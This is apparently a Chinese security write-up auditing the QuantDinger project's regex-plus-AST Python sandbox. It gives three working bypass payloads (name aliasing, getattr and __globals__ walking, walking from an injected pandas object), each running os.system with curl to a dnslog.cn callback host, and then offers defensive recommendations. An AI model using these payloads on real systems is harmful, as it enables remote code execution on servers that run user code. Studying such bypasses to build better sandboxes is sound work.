绕过正则表达式+抽象语法树(AST)实现Python代码执行
字数 2987
更新时间 2026-03-07 12:06:08
绕过正则表达式与AST实现Python沙箱逃逸的教学文档
前言
本教学文档基于对开源项目QuantDinger的代码审计案例,详细分析如何通过多步骤技术绕过Python沙箱保护机制。该保护机制结合了正则表达式(Regex)和抽象语法树(AST)检查。本教学将深入讲解绕过的原理、思路和具体实现方法。
一、漏洞环境与背景
1.1 目标系统
- 项目: QuantDinger
- 漏洞接口:
/api/indicator/verifyCode - 初始状态: 该接口最初对传入的代码(
code参数)没有任何过滤,可直接导致远程代码执行(RCE)。 - 防护引入: 为修复漏洞,开发者引入了
backend_api_python\app\utils\safe_exec.py模块,旨在对执行的代码进行安全检查。
1.2 防护机制分析 (safe_exec.py)
防护机制采用两层“黑名单”式过滤:
-
第一层:正则表达式(Regex)匹配
- 目的:在代码执行前,对输入的整个代码字符串进行扫描,匹配并拦截危险关键字和模式。
- 拦截示例:
r'\beval\s*\('(匹配eval(或eval ()r'\b__import__\s*\('r'\bos\.system\b'r'\bexec\b',r'\bcompile\b',r'\bgetattr\b等。
-
第二层:抽象语法树(AST)检查
- 目的:将代码解析为AST(一种树形结构),进行更深入的静态分析,以识别正则难以捕捉的复杂模式。
- 检查点:
- 函数调用检查:遍历
ast.Call节点,检查被调用函数名(func.id)是否在黑名单中(如eval,exec,__import__,getattr等)。 - 属性访问检查:检查
ast.Attribute节点,防止访问如obj.__builtins__等敏感属性。 - 子类检查:阻止创建或调用可能用于攻击的子类。
- 函数调用检查:遍历
二、核心绕过原理
绕过此双层防护的核心在于利用静态分析的局限性:
- AST是静态的:它分析的是代码的“形状”(语法结构),而非代码的“行为”(运行时值)。
- 正则匹配是字面的:它匹配的是代码文本中连续出现的特定字符序列。
因此,只要让危险代码的“语法形态”或“文本形态”不匹配防护规则,即可绕过。
三、绕过方法详解
思路一:字符串拼接 + 函数别名
核心技巧:拆分关键字,并改变调用方式。
# 1. 绕过正则: e = eval 后面没有左括号,不会触发 r'\beval\s*\('
e = eval
# 2. 绕过正则: 使用拼接隐藏 "__import__", "os", "system" 等关键词
p = "__im" + "port__"
o = "o" + "s"
s = "sys" + "tem"
# 3. 绕过 AST: 调用 e 而不是 eval,AST 不会拦截非黑名单函数名
e(p + "('" + o + "')." + s + "('curl htlwx9.dnslog.cn')")
- 绕过正则:
eval后面是分号,不是括号,不匹配r'\beval\s*\('。"__im" + "port__"在正则扫描时是两个独立的字符串,不匹配r'\b__import__\s*\('。"o" + "s"和"sys" + "tem"同理,绕过了对os.system的匹配。
- 绕过AST:
- AST看到的是对变量
e的函数调用。由于e不在dangerous_functions黑名单中,检查通过。AST无法追踪到变量e在运行时的值就是eval。
- AST看到的是对变量
思路二:基类继承树漫游
核心技巧:利用Python对象的内置属性链(__class__, __bases__, __globals__)获取基础函数,并使用 getattr 进行动态访问。
g = getattr
# 拼接字符串绕过正则
gn = "__glob" + "als__"
bn = "__buil" + "tins__"
# 1. 获取一个匿名函数(lambda:0)的全局命名空间(__globals__)
# 2. 从该命名空间中取出 __builtins__ 字典
# 3. 从 __builtins__ 中取出 eval 函数
e = g(lambda:0, gn)[bn]['ev' + 'al']
# 4. 使用拼接的字符串调用 eval 执行命令
e('__im' + 'port__("os").system("curl b2bsnv.dnslog.cn")')
- 绕过正则:所有关键字符串(
__globals__,__builtins__,eval,__import__)均被拆分。 - 绕过AST:
- 使用
g = getattr创建别名,后续调用g(...)不会被识别为getattr调用。 - 通过
g(lambda:0, gn)的方式访问__globals__属性,这被解析为一个函数调用 (ast.Call),而不是一个属性访问 (ast.Attribute),从而绕过针对.操作符的属性检查。 e = ...['ev' + 'al']是通过字典键值访问获取eval,同样避开了直接的函数名调用检查。
- 使用
思路三:依赖漫游攻击
核心技巧:利用目标执行环境中已注入的、合法的第三方库(如Pandas的pd、NumPy的np)对象,从其内部漫游至Python内置的危险函数。
# 1. 拼接字符串绕过正则
g = getattr
bk = '__buil' + 'tins__'
# 2. 利用注入的 pd (Pandas) 对象漫游获取内置函数库
# 使用 g(pd, bk) 获取 pd.__builtins__,避开 AST 对“.xxx”属性访问的检查
b = g(pd, bk)
ik = '__im' + 'port__'
# 3. 从内置库中提取导入函数
i = b[ik] if isinstance(b, dict) else g(b, ik)
ok = 'o' + 's'
sk = 'sys' + 'tem'
# 4. 最终执行命令
g(i(ok), sk)('curl lemqss.dnslog.cn')
- 绕过正则:所有关键字被拆分。
- 绕过AST:
- 关键点1:
g(pd, bk)替代pd.__builtins__。AST将其视为一个普通的函数调用,第一个参数是pd(一个外部库对象,不在黑名单中),第二个参数是变量bk。这巧妙地避开了safe_exec.py中针对getattr(builtins, '__import__')的特判逻辑(该逻辑检查node.args[0].id是否为'builtins'或'__builtins__')。 - 关键点2:最终的命令执行调用是
g(i(ok), sk),其中g是getattr的别名,i(ok)返回os模块,sk是字符串'system'。整个结构在AST中呈现为一系列“安全”的函数调用和变量操作,没有触发任何一条黑名单规则。
- 关键点1:
四、教学总结与防护思考
4.1 技术要点回顾
- 字符串混淆:对抗基于文本正则匹配的过滤。
- 函数别名与间接调用:对抗基于AST函数名检测的黑名单。
- 动态属性访问:使用
getattr(obj, attr_name)或字典访问obj['attr']替代obj.attr,以绕过AST对属性节点的检查。 - 对象漫游:利用Python对象链(
__class__、__globals__、__builtins__)或已导入的复杂模块,从“合法”的起点逐步获取“危险”的函数或模块。
4.2 对防护机制的启示
本案例中的防护(正则+AST黑名单)是典型的**“马奇诺防线”**,存在固有缺陷:
- 静态分析的无力:无法进行数据流分析和指针别名分析,因此无法确定一个变量在运行时究竟指向什么。
- 黑名单的局限:无法穷尽所有危险的代码模式,尤其是当攻击者可以利用语言特性进行组合时。
4.3 更有效的防护建议
- 严格的白名单机制:定义允许使用的安全函数和模块列表,而非拦截危险列表。
- 真正的沙箱隔离:
- 系统层面:在容器(如Docker)或独立进程中运行不可信代码,并严格限制其网络、文件系统权限。
- 解释器层面:使用
PyPy沙箱、RestrictedPython或自定义的sys.modules和__builtins__,彻底移除危险模块和函数。
- 代码签名与完整性校验:确保执行的代码来源可信且未被篡改。
- 输入规范化与预检:在对代码进行安全检查前,可尝试对简单的混淆(如固定字符串拼接)进行规范化还原,增加攻击者混淆的成本。
结论:在Python中实现一个安全的代码执行沙箱极其困难。最稳妥的方案是避免执行用户提供的动态代码。如果业务必须,则应采用操作系统级别的隔离机制,并将代码执行权限降至最低。
相似文章
相似文章